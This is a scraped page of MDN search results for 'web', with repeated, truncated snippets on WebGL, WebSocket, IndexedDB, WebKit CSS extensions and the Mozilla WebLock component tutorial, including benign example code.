WebGLRenderingContext.drawingBufferHeight property represents the actual height of the current drawing buffer. It should match the height attribute of the <canvas> element associated with this context, but might differ if the implementation is not able to provide the requested height. Syntax gl.drawingBufferHeight; Examples Given this <canvas> element: <canvas id="canvas"></canvas> You can get the height of the drawing buffer with the following lines: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.drawingBufferHeight; // 150 Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLRenderingContext.drawingBufferHeight' in that specification. Recommendation Initial definition. ...
WebGLRenderingContext.drawingBufferWidth - Web APIs
The read-only
WebGLRenderingContext.drawingBufferWidth property represents the actual width of the current drawing buffer. It should match the width attribute of the <canvas> element associated with this context, but might differ if the implementation is not able to provide the requested width. Syntax gl.drawingBufferWidth; Examples Given this <canvas> element: <canvas id="canvas"></canvas> You can get the width of the drawing buffer with the following lines: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.drawingBufferWidth; // 300 Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLRenderingContext.drawingBufferWidth' in that specification. Recommendation Initial definition. ...
WebGLRenderingContext.linkProgram() - Web APIs
The
WebGLRenderingContext interface's linkProgram() method links a given
WebGLProgram, completing the process of preparing the GPU code for the program's fragment and vertex shaders. Syntax void gl.linkProgram(program); Parameters program The
WebGLProgram to link. Return value None. Examples var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw new Error('Could not compile
WebGL program. \n\n' + info); } Specifications Specification Status Comment
WebGL 1.0The definition of 'linkProgram' in that specification. Recommendati...
WebGLSampler - Web APIs
The
WebGLSampler interface is part of the
WebGL 2 API and stores sampling parameters for
WebGLTexture access inside of a shader. When working with
WebGLSampler objects, the following methods of the
WebGL2RenderingContext are useful:
WebGL2RenderingContext.createSampler()
WebGL2RenderingContext.deleteSampler()
WebGL2RenderingContext.isSampler()
WebGL2RenderingContext.bindSampler()
WebGL2RenderingContext.getSamplerParameter() Examples Creating a
WebGLSampler object in this example, gl must be a
WebGL2RenderingContext.
WebGLSampler objects are not available in
WebGL 1. var sampler = gl.createSampler(); Specifications Specification Status Comment
WebGL 2.0The definition of '
WebGLSample' in that specification. Editor's Draft Initial definiti...
WebGLShaderPrecisionFormat.precision - Web APIs
The read-only
WebGLShaderPrecisionFormat.precision property returns the number of bits of precision that can be represented. For integer formats this value is always 0. Examples var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.getShaderPrecisionFormat(gl.VERTEX_SHADER, gl.MEDIUM_FLOAT).precision; // 23 gl.getShaderPrecisionFormat(gl.FRAGMENT_SHADER, gl.LOW_INT).precision; // 0 Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLShaderPrecisionFormat.precision' in that specification. Recommendation Initial definition. ...
WebGLShaderPrecisionFormat.rangeMax - Web APIs
The read-only
WebGLShaderPrecisionFormat.rangeMax property returns the base 2 log of the absolute value of the maximum value that can be represented. Examples var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.getShaderPrecisionFormat(gl.VERTEX_SHADER, gl.MEDIUM_FLOAT).rangeMax; // 127 gl.getShaderPrecisionFormat(gl.FRAGMENT_SHADER, gl.LOW_INT).rangeMax; // 24 Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLShaderPrecisionFormat.rangeMax' in that specification. Recommendation Initial definition. ...
WebGLShaderPrecisionFormat.rangeMin - Web APIs
The read-only
WebGLShaderPrecisionFormat.rangeMin property returns the base 2 log of the absolute value of the minimum value that can be represented. Examples var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.getShaderPrecisionFormat(gl.VERTEX_SHADER, gl.MEDIUM_FLOAT).rangeMin; // 127 gl.getShaderPrecisionFormat(gl.FRAGMENT_SHADER, gl.LOW_INT).rangeMin; // 24 Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLShaderPrecisionFormat.rangeMin' in that specification. Recommendation Initial definition. ...
WebGLSync - Web APIs
The
WebGLSync interface is part of the
WebGL 2 API and is used to synchronize activities between the GPU and the application. When working with
WebGLSync objects, the following methods of the
WebGL2RenderingContext are useful:
WebGL2RenderingContext.fenceSync()
WebGL2RenderingContext.deleteSync()
WebGL2RenderingContext.isSync()
WebGL2RenderingContext.clientWaitSync()
WebGL2RenderingContext.waitSync()
WebGL2RenderingContext.getSyncParameter() Examples Creating a
WebGLSync object in this example, gl must be a
WebGL2RenderingContext.
WebGLSync objects are not available in
WebGL 1. var sync = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0); Specifications Specification Status Comment
WebGL 2.0The definition of '
WebGLSync' in that specification. ...
WebGLUniformLocation - Web APIs
The
WebGLUniformLocation interface is part of the
WebGL API and represents the location of a uniform variable in a shader program. Description The
WebGLUniformLocation object does not define any methods or properties of its own and its content is not directly accessible. When working with
WebGLUniformLocation objects, the following methods of the
WebGLRenderingContext are useful:
WebGLRenderingContext.getUniformLocation()
WebGLRenderingContext.uniform() Examples Getting an uniform location var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var location = gl.getUniformLocation(
WebGLProgram, 'uniformName'); Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLUniformLocation' in that specification. ...
Data in WebGL - Web APIs
Shader programs have access to three kinds of data storage, each of which has a specific use case. Each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's JavaScript code, depending on the specific type of variable. GLSL data types <<document the basic types, vectors, etc; see Data Type (GLSL) on the Khronos
WebGL wiki>> GLSL variables There are three kinds of "variable" or data storage available in GLSL, each of which with its own purpose and use cases: attributes, varyings, and uniforms. Attributes Attributes are GLSL variables which are only available to the vertex shader (as variables) and the JavaScript code. Attributes are typically used to store color information, texture coordinates, and any ...
WebKitCSSMatrix - Web APIs
An alias for DOMMatrix. Specifications Specification Status Comment Geometry Interfaces Module Level 1The definition of '
WebKitCSSMatrix' in that specification. Candidate Recommendation ...
WebRTC coding guide - Web APIs
Once you have an overall understanding of what
WebRTC does and how it works, your mind likely turns to implementation. How do you create a
Web application that uses two-way video or data streams without having to do all the hard work of compressing frames, building streams, and so forth by yourself? This coding guide will explain in depth how
WebRTC works, and will dive into actual code that uses
WebRTC to do useful things. There are no subpages at this time. If you need to learn more about the fundamentals of how
WebRTC and its protocols work, check out our High-level guides for
WebRTC. ...
Introduction to WebRTC protocols - Web APIs
ICE Interactive Connectivity Establishment (ICE) is a framework to allow your
web browser to connect with peers. There are many reasons why a straight up connection from Peer A to Peer B simply won't work. It needs to bypass firewalls that would prevent opening connections, give you a unique address if like most situations your device doesn't have a public IP address, and relay data through a server if your router doesn't allow you to directly connect with peers. ICE uses STUN and/or TURN servers to accomplish this, as described below. ...
WebSocket.binaryType - Web APIs
The
WebSocket.binaryType property returns the type of binary data being transmitted by the connection. Syntax var binaryType = a
WebSocket.binaryType; Value A DOMString: "blob" If Blob objects are used. "arraybuffer" If ArrayBuffer objects are used. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: binaryType' in that specification. Living Standard Initial definition ...
WebSocket.bufferedAmount - Web APIs
The
WebSocket.bufferedAmount read-only property returns the number of bytes of data that have been queued using calls to send() but not yet transmitted to the network. This value resets to zero once all queued data has been sent. This value does not reset to zero when the connection is closed; if you keep calling send(), this will continue to climb. Syntax var bufferedAmount = a
WebSocket.bufferedAmount; Value An unsigned long. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: bufferedAmount' in that specification. Living Standard Initial definition ...
WebSocket: error event - Web APIs
The error event is fired when a connection with a
WebSocket has been closed due to an error (some data couldn't be sent for example). Bubbles No Cancelable No Interface Event Event handler property onerror Examples // Create
WebSocket connection const socket = new
WebSocket('ws://localhost:8080'); // Listen for possible errors socket.addEventListener('error', function (event) { console.log('
WebSocket error: ', event); }); Specifications Specification Status HTML Living StandardThe definition of '
WebSocket error' in that specification. Living Standard ...
WebSocket.extensions - Web APIs
The
WebSocket.extensions read-only property returns the extensions selected by the server. This is currently only the empty string or a list of extensions as negotiated by the connection. Syntax var extensions = a
WebSocket.extensions; Value A DOMString. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: extensions' in that specification. Living Standard Initial definition ...
WebSocket: message event - Web APIs
The message event is fired when data is received through a
WebSocket. Bubbles No Cancelable No Interface MessageEvent Event handler property onmessage Examples // Create
WebSocket connection. const socket = new
WebSocket('ws://localhost:8080'); // Listen for messages socket.addEventListener('message', function (event) { console.log('Message from server ', event.data); }); Specifications Specification Status HTML Living StandardThe definition of '
WebSocket message' in that specification. Living Standard ...
WebSocket.onclose - Web APIs
The
WebSocket.onclose property is an EventHandler that is called when the
WebSocket connection's readyState changes to CLOSED. It is called with a CloseEvent. Syntax a
WebSocket.onclose = function(event) { console.log("
WebSocket is closed now."); }; Value An EventListener. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: onclose' in that specification. Living Standard Initial definition ...
WebSocket.onerror - Web APIs
The
WebSocket interface's onerror event handler property is a function which gets called when an error occurs on the
WebSocket. You can also add an error event handler using addEventListener(). Syntax
webSocket.onerror = eventHandler; Value A function or EventHandler which is executed whenever an error event occurs on the
WebSocket connection. Example
webSocket.onerror = function(event) { console.error("
WebSocket error observed:", event); }; Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: onerror' in that specification. Living Standard Initial definition ...
WebSocket.onmessage - Web APIs
The
WebSocket.onmessage property is an EventHandler that is called when a message is received from the server. It is called with a MessageEvent. Syntax a
WebSocket.onmessage = function(event) { console.debug("
WebSocket message received:", event); }; Value An EventListener. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: onmessage' in that specification. Living Standard Initial definition ...
WebSocket.onopen - Web APIs
The
WebSocket.onopen property is an EventHandler that is called when the
WebSocket connection's readyState changes to 1; this indicates that the connection is ready to send and receive data. It is called with an Event. Syntax a
WebSocket.onopen = function(event) { console.log("
WebSocket is open now."); }; Value An EventListener. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: onopen' in that specification. Living Standard Initial definition ...
WebSocket: open event - Web APIs
The open event is fired when a connection with a
WebSocket is opened. Bubbles No Cancelable No Interface Event Event handler property onopen Examples // Create
WebSocket connection. const socket = new
WebSocket('ws://localhost:8080'); // Connection opened socket.addEventListener('open', (event) => { socket.send('Hello Server!'); }); Specifications Specification Status HTML Living StandardThe definition of '
WebSocket open' in that specification. Living Standard ...
WebSocket.protocol - Web APIs
The
WebSocket.protocol read-only property returns the name of the sub-protocol the server selected; this will be one of the strings specified in the protocols parameter when creating the
WebSocket object, or the empty string if no connection is established. Syntax var protocol = a
WebSocket.protocol; Value A DOMString. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: protocol' in that specification. Living Standard Initial definition ...
WebSocket.readyState - Web APIs
The
WebSocket.readyState read-only property returns the current state of the
WebSocket connection. Syntax var readyState = a
WebSocket.readyState; Value One of the following unsigned short values: Value State Description 0 CONNECTING Socket has been created. The connection is not yet open. 1 OPEN The connection is open and ready to communicate. 2 CLOSING The connection is in the process of closing. 3 CLOSED The connection is closed or couldn't be opened. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: readyState' in that specification. Living Standard Initial definition ...
WebSocket.url - Web APIs
The
WebSocket.url read-only property returns the absolute URL of the
WebSocket as resolved by the constructor. Syntax var url = a
WebSocket.url; Value A DOMString. Specifications Specification Status Comment HTML Living StandardThe definition of '
WebSocket: url' in that specification. Living Standard Initial definition ...
Tools for analyzing Web Audio usage - Web APIs
While working on your
Web Audio API code, you may find that you need tools to analyze the graph of nodes you create or to otherwise debug your work. This article discusses tools available to help you do that. Chrome A handy
web audio inspector can be found in the Chrome
Web Store. Edge Add information for developers using Microsoft Edge. Firefox Firefox offers a native
Web Audio Editor. Safari Add information for developers working in Safari. ...
Recommended Web Performance Timings: How long is too long? - Web Performance
and 1.5 seconds on an office T1 line, with even more ambitious page load goals for subsequent page loads, leveraging service workers and caching. There are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: Idling goal Browsers are single threaded (though background threads are supported for
web workers). This means that user interaction, painting, and script execution are all on the same thread. If the thread is busy doing complex JavaScript execution, the main thread will not be available to react to user input, such as pressing a button. For this reason, script execution should be limited in scope, divided into chunks of code that can be executed in 50ms or less. This makes the thread...
Index - Web APIs
Found 5328 pages: # Page Tags and summary 1
Web APIs API, DOM, Landing, Reference,
Web When writing code for the
Web, there are a large number of
Web APIs available. Below is a list of all the APIs and interfaces (object types) that you may be able to use while developing your
Web app or site. 2 ANGLE_instanced_arrays API, Reference,
WebGL,
WebGL extension The ANGLE_instanced_arrays extension is part of the
WebGL API and allows to draw the same object, or groups of similar objects multiple times, if they share the same vertex data, primitive count and type. ...
... 2 ANGLE_instanced_arrays API, Reference,
WebGL,
WebGL extension The ANGLE_instanced_arrays extension is part of the
WebGL API and allows to draw the same object, or groups of similar objects multiple times, if they share the same vertex data, primitive count and type. 3 ANGLE_instanced_arrays.drawArraysInstancedANGLE() ANGLE_instanced_arrays, API, Method, Reference,
WebGL,
WebGL extension The ANGLE_instanced_arrays.drawArraysInstancedANGLE() method of the
WebGL API renders primitives from array data like the gl.drawArrays() method. In addition, it can execute multiple instances of the range of elements. ...
...ed_arrays, API, Method, Reference,
WebGL,
WebGL extension The ANGLE_instanced_arrays.drawArraysInstancedANGLE() method of the
WebGL API renders primitives from array data like the gl.drawArrays() method. In addition, it can execute multiple instances of the range of elements. 4 ANGLE_instanced_arrays.drawElementsInstancedANGLE() ANGLE_instanced_arrays, API, Method, Reference,
WebGL,
WebGL extension The ANGLE_instanced_arrays.drawElementsInstancedANGLE() method of the
WebGL API renders primitives from array data like the gl.drawElements() method. In addition, it can execute multiple instances of a set of elements. ...
...And 1803 more matches
Index - Learn web development
Found 348 pages: # Page Tags and summary 1 Learn
web development Beginner, CSS, HTML, Index, Intro, Landing, Learn,
Web Welcome to the MDN learning area. This set of articles aims to provide complete beginners to
web development with all that they need to start coding
websites. 2 Accessibility ARIA, Accessibility, Articles, Beginner, CSS, CodingScripting, HTML, JavaScript, Landing, Learn, Module Learning some HTML, CSS, and JavaScript is useful if you want to become a
web developer. Beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the
web. To help you achieve this, this module will cover general best practices (which are demonstrated through...
... with a number of accessibility issues that you need to diagnose and fix. 5 CSS and JavaScript accessibility best practices Accessibility, Article, CSS, CodingScripting, Guide, JavaScript, Learn, color, contrast, hiding, unobtrusive We hope this article has given you a good amount of detail and understanding about the accessibility issues surrounding CSS and JavaScript use on
web pages. 6 Test your skills: CSS and JavaScript accessibility Accessibility, Assessment, Beginner, HTML, JaavScript, Learn, test your skills This aim of this skill test is to assess whether you've understood our CSS and JavaScript accessibility best practices article. 7 HTML: A good basis for accessibility AT, Accessibility, Article, Beginner, Buttons, CodingScri...
... high-level overview of accessibility, shown you why it's important, and looked at how you can fit it into your workflow. You should now also have a thirst to learn about the implementation details that can make sites accessible, and we'll start on that in the next section, looking at why HTML is a good basis for accessibility. 13 Aprender y obtener ayuda Beginner, Learn, Learning,
Web Development, getting help It is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective. There are also are times when you'll get stuck and feel frustrated -- even professional
web developers feel like this regularly -- and it pays to know about the most effective ways to try and get help so y...
...And 123 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
Applications based on
WebKit or Blink, such as Safari and Chrome, support a number of special
WebKit extensions to CSS. These extensions are generally prefixed with -
webkit-. Most -
webkit- prefixed properties also work with an -apple- prefix. A few are prefixed with -epub-.
WebKit-only properties Note: Avoid using on
websites. These properties will only work in
WebKit applications. A -
webkit-animation-trigger -
webkit-app-region -
webkit-appearance* -
webkit-aspect-ratio B -
webkit-backdrop-filter -
webkit-background-composite -
webkit-border-after** -
webkit-border-after-color** -
webkit-border-after-style** -
webkit-border-after-width** -
webkit-border-before** -
webkit-border-before-color** -
webkit-border-before-style** -
webkit-border-before-width** -
webkit-border-end** -...
...t-animation-trigger -
webkit-app-region -
webkit-appearance* -
webkit-aspect-ratio B -
webkit-backdrop-filter -
webkit-background-composite -
webkit-border-after** -
webkit-border-after-color** -
webkit-border-after-style** -
webkit-border-after-width** -
webkit-border-before** -
webkit-border-before-color** -
webkit-border-before-style** -
webkit-border-before-width** -
webkit-border-end** -
webkit-border-end-color** -
webkit-border-end-style** -
webkit-border-end-width** -
webkit-border-fit -
webkit-border-horizontal-spacing -
webkit-border-start** -
webkit-border-start-color** -
webkit-border-start-style** -
webkit-border-start-width** -
webkit-border-vertical-spacing -
webkit-box-align** -
webkit-box-direction** -
webkit-box-flex-group** -
webkit-box-flex** -
webkit-box-lines** -
webk...
...
webkit-border-end-style** -
webkit-border-end-width** -
webkit-border-fit -
webkit-border-horizontal-spacing -
webkit-border-start** -
webkit-border-start-color** -
webkit-border-start-style** -
webkit-border-start-width** -
webkit-border-vertical-spacing -
webkit-box-align** -
webkit-box-direction** -
webkit-box-flex-group** -
webkit-box-flex** -
webkit-box-lines** -
webkit-box-ordinal-group** -
webkit-box-orient** -
webkit-box-pack** -
webkit-box-reflect** C -
webkit-column-axis -
webkit-column-break-after -
webkit-column-break-before -
webkit-column-break-inside -
webkit-column-progression -
webkit-cursor-visibility D-I -
webkit-dashboard-region -
webkit-font-size-delta -
webkit-font-smoothing -
webkit-highlight -
webkit-hyphenate-character -
webkit-hyphenate-limit-after -
webkit-h...
...And 81 more matches
WebIDL bindings
Note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail. This is a signal that you need to get a review from a DOM peer. ...
... Note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail. This is a signal that you need to get a review from a DOM peer. ...
... Note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail. This is a signal that you need to get a review from a DOM peer. ...
...And 80 more matches
IDBObjectStore - Web APIs
Properties IDBObjectStore.indexNames Read only A list of the names of indexes on objects in this object store. IDBObjectStore.keyPath Read only The key path of this object store. ...
...ed Database API DraftThe definition of 'IDBObjectStore' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetIDBObjectStoreChrome Full support 24 Full support 24 No support 23 -- 57Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
...And 73 more matches
Starting WebLock
Getting Called at Startup No person is an island to himself, and neither are components. The sample component you've built up so far doesn't do anything. After having its registration procedure called, the component does nothing. ...
... Getting Called at Startup No person is an island to himself, and neither are components. The sample component you've built up so far doesn't do anything. After having its registration procedure called, the component does nothing. ...
...neither are components. The sample component you've built up so far doesn't do anything. After having its registration procedure called, the component does nothing. In order to be started up or notified when some event happens, the sample component has to hook into Mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to start up.
WebLock does the latter and gets called when a Gecko Profile Startup occurs. When a Gecko application starts up, registered components are created and notified via the general-purpose observer interface nsIObserver. Observersare objects that are notified when various events occur. Using them is a good way for objects to pass messages to each other without the objects having explicit knowledge of one...
...And 63 more matches
Setting up your own test automation environment - Learn web development
We will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the previous article. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages; an idea of the high-level principles of cross browser testing, and automated testing. ...
...of the high-level principles of cross browser testing, and automated testing. Objective: To show how to set up a Selenium testing environment locally and run tests with it, and how to integrate it with tools like LambdaTest, Sauce Labs, and BrowserStack. Selenium Selenium is the most popular browser automation tool. ...
...environment locally and run tests with it, and how to integrate it with tools like LambdaTest, Sauce Labs, and BrowserStack. Selenium Selenium is the most popular browser automation tool. There are other ways, but the best way to use Selenium is via
WebDriver, a powerful API that builds on top of Selenium and makes calls to a browser to automate it, carrying out actions such as "open this
web page", "move over this element on the page", "click this link", "see whether the link opens this URL", etc. This is ideal for running automated tests. How you install and use
WebDriver depends on what programming environment you want to use to write and run your tests. Most popular environments have available a package or framework that will install
WebDriver and the bindings required to communi...
...And 62 more matches
Building the WebLock UI
viousNext >> Up until now, we've been building a component that can be installed in any Gecko application. The XPCOM interfaces and tools you've used have been general, cross-platform, and available in the Gecko Runtime Environment or in any Gecko-based application after Mozilla 1.2 (when the GRE began to be used). In this chapter, however, we are going to be building a user interface for the
WebLock component that's meant to be added to the existing Mozilla browser[other-mozlike-browsers]. It uses XUL, which is an XML language that Gecko knows how to render as user interface, but it also interacts with particular parts of the Mozilla user interface, where it must install itself as an extension to the UI. Specifically, the user interface we create in this chapter will be overlaid into the...
...XUL, which is an XML language that Gecko knows how to render as user interface, but it also interacts with particular parts of the Mozilla user interface, where it must install itself as an extension to the UI. ...
...language that Gecko knows how to render as user interface, but it also interacts with particular parts of the Mozilla user interface, where it must install itself as an extension to the UI. Specifically, the user interface we create in this chapter will be overlaid into the statusbar of the browser component, where it will provide a small icon the user can click to access the
web lock interface.
WebLock Indicator in Browser User Interface Package List The user interface described in this section is comprised of four files:
webLockOverlay.xul is the file that defines the little status icon in the browser.
weblock.xul defines the
web lock manager dialog.
weblock.css provides style rules for both of the XUL files.
weblock.js provides JavaScript functions for both of the XUL files. E...
...And 48 more matches
IDBIndex - Web APIs
ct store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refers to the object store are automatically updated. You can grab a set of keys within a range. To learn more, see IDBKeyRange. Note: This feature is available in
Web Workers. Properties IDBIndex.isAutoLocale Read only Returns a Boolean indicating whether the index had a locale value of auto specified upon its creation (see createIndex()'s optionalParameters.) IDBIndex.locale Read only Returns the locale of the index (for example en-US, or pl) if it had a locale value specified upon its creation (see createIndex()'s optionalParameters.) IDBIndex.
... Indexed Database API DraftThe definition of 'IDBIndex' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...quest. ...
...And 38 more matches
IDBDatabase - Web APIs
The IDBDatabase interface of the IndexedDB API provides a connection to a database; you can use an IDBDatabase object to open a transaction on your database then create, manipulate, and delete objects (data) in that database. The interface provides the only way to get and manage versions of the database. Note: This feature is available in
Web Workers. Note: Everything you do in IndexedDB always happens in the context of a transaction, representing interactions with data in the database. All objects in IndexedDB -- including object stores, indexes, and cursors -- are tied to a particular transaction. Thus, you cannot execute commands, access data, or open anything outside of a transaction. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; paddi...
...cute commands, access data, or open anything outside of a transaction. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/IDBDatabase" target="_top"><rect x="151" y="1" width="110" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBDatabase</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties ID...
...And 37 more matches
Client-side storage - Learn web development
Previous Overview: Client-side
web APIs Modern
web browsers support a number of ways for
web sites to store data on the user's computer -- with the user's permission -- then retrieve it when necessary. This lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more. This article explains the very basics of how these work. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn how to use client-side storage APIs to store application data. ...
...of how these work. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn how to use client-side storage APIs to store application data. Client-side storage? Elsewhere in the MDN learning area we talked about the difference between static sites and dynamic sites. Most major modern
web sites are dynamic -- they store data on the server using some kind of database (server-side storage), then run server-side code to retrieve needed data, insert it into static page templates, and serve the resulting HTML to the client to be displayed by the user's browser. Client-side storage works on similar principles, but has different uses. It consists of JavaScript APIs that allow you to sto...
...preferences (e.g. showing a user's choice of custom widgets, color scheme, or font size). Persisting previous site activity (e.g. storing the contents of a shopping cart from a previous session, remembering if a user was previously logged in). Saving data and assets locally so a site will be quicker (and potentially less expensive) to download, or be usable without a network connection. Saving
web application generated documents locally for use offline Often client-side and server-side storage are used together. For example, you could download a batch of music files (perhaps used by a
web game or music player application), store them inside a client-side database, and play them as needed. The user would only have to download the music files once -- on subsequent visits they would be retr...
...And 36 more matches
IDBTransaction - Web APIs
ransaction on a database using event handler attributes. All reading and writing of data is done within transactions. You use IDBDatabase to start transactions, IDBTransaction to set the mode of the transaction (e.g. is it readonly or readwrite), and you access an IDBObjectStore to make a request. You can also use an IDBTransaction object to abort transactions. ...
...to abort transactions. Note: This feature is available in
Web Workers. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/IDBTransaction" target="_top"><rect x="151" y="1" width="140" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBTransaction</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Transactions ...
...And 35 more matches
Fullscreen API - Web APIs
programmatically do so. Make sure you provide, somewhere in your user interface, appropriate user interface elements that inform the user that this option is available to them. Note: Navigating to another page, changing tabs, or switching to another application using any application switcher (or Alt-Tab) will likewise exit full-screen mode. Example In this example, a video is presented in a
web page. Pressing the Return or Enter key lets the user toggle between windowed and full-screen presentation of the video. View Live Examples Watching for the Enter key When the page is loaded, this code is run to set up an event listener to watch for the Enter key. document.addEventListener("keypress", function(e) { if (e.keyCode === 13) { toggleFullScreen(); } }, false); Toggling ful...
... (!document.fullscreenElement) { document.documentElement.requestFullscreen(); } else { if (document.exitFullscreen) { document.exitFullscreen(); } } } This starts by looking at the value of the document's fullscreenElement attribute. In a real-world deployment, at this time, you'll want to check for prefixed versions of this (mozFullScreenElement, msFullscreenElement, or
webkitFullscreenElement, for example). If the value is null, the document is currently in windowed mode, so we need to switch to full-screen mode; otherwise, it's the element that's currently in full-screen mode. Switching to full-screen mode is done by calling Element.requestFullscreen() on the <video> element. If full-screen mode is already active (fullscreenElement is not null), we call exitFulls...
... Specification Status Fullscreen API Living Standard Browser compatibility Document.fullscreen The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 34 more matches
BluetoothCharacteristicProperties - Web APIs
This interface is returned by calling BluetoothRemoteGATTCharacteristic.properties. Properties authenticatedSignedWritesRead only Returns a boolean that is true if signed writing to the characteristic value is permitted. broadcastRead only Returns a boolean that is true if the broadcast of the characteristic value is permitted using the Server Characteristic Configuration Descriptor. indicateRead only Returns a boolean that is true if indications of the characteristic value with acknowledgement is permitted. ...
... Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerO...
...nition of 'BluetoothCharacteristicProperties' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetBluetoothCharacteristicProperties ExperimentalChrome Full support 56Notes Full support 56Notes Notes ChromeOS and macOS only. Full support 56Notes Disabled Notes Linux and versi...
...And 30 more matches
Packaging WebLock
The first section, Component Installation Overview, describes the general installation process in Mozilla. The following sections describe the steps you can take to organize the
WebLock component for distribution and installation. Note: the emphasis of this tutorial is on the component development itself, so this section on packaging and installing extensions to Gecko is necessarily brief. ...
... of the tutorial, we'll put all of the pieces of the
web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems. The first section, Component Installation Overview, describes the general installation process in Mozilla. The following sections describe the steps you can take to organize the
WebLock component for distribution and installation. Note: the emphasis of this tutorial is on the component development itself, so this section on packaging and installing extensions to Gecko is necessarily brief. For more detailed information on packaging and installation of components into Gecko-based applications, see http://www.mozilla.org/projects/xpinstall. Component Installation Overview ...
...t development itself, so this section on packaging and installing extensions to Gecko is necessarily brief. For more detailed information on packaging and installation of components into Gecko-based applications, see http://www.mozilla.org/projects/xpinstall. Component Installation Overview XPInstall is a set of JavaScript APIs for creating installation scripts. Using XPInstall, you can create
web-based installations for Gecko-based applications, Mozilla extensions, or individual components. The installation script for the
WebLock component can also be used to register the component with the browser into which it is installed (see Registration Methods in XPCOM for more information on registration). The sample installation script shown below uses the Mozilla XPInstall technology to manipul...
...And 29 more matches
nsIWebProgressListener
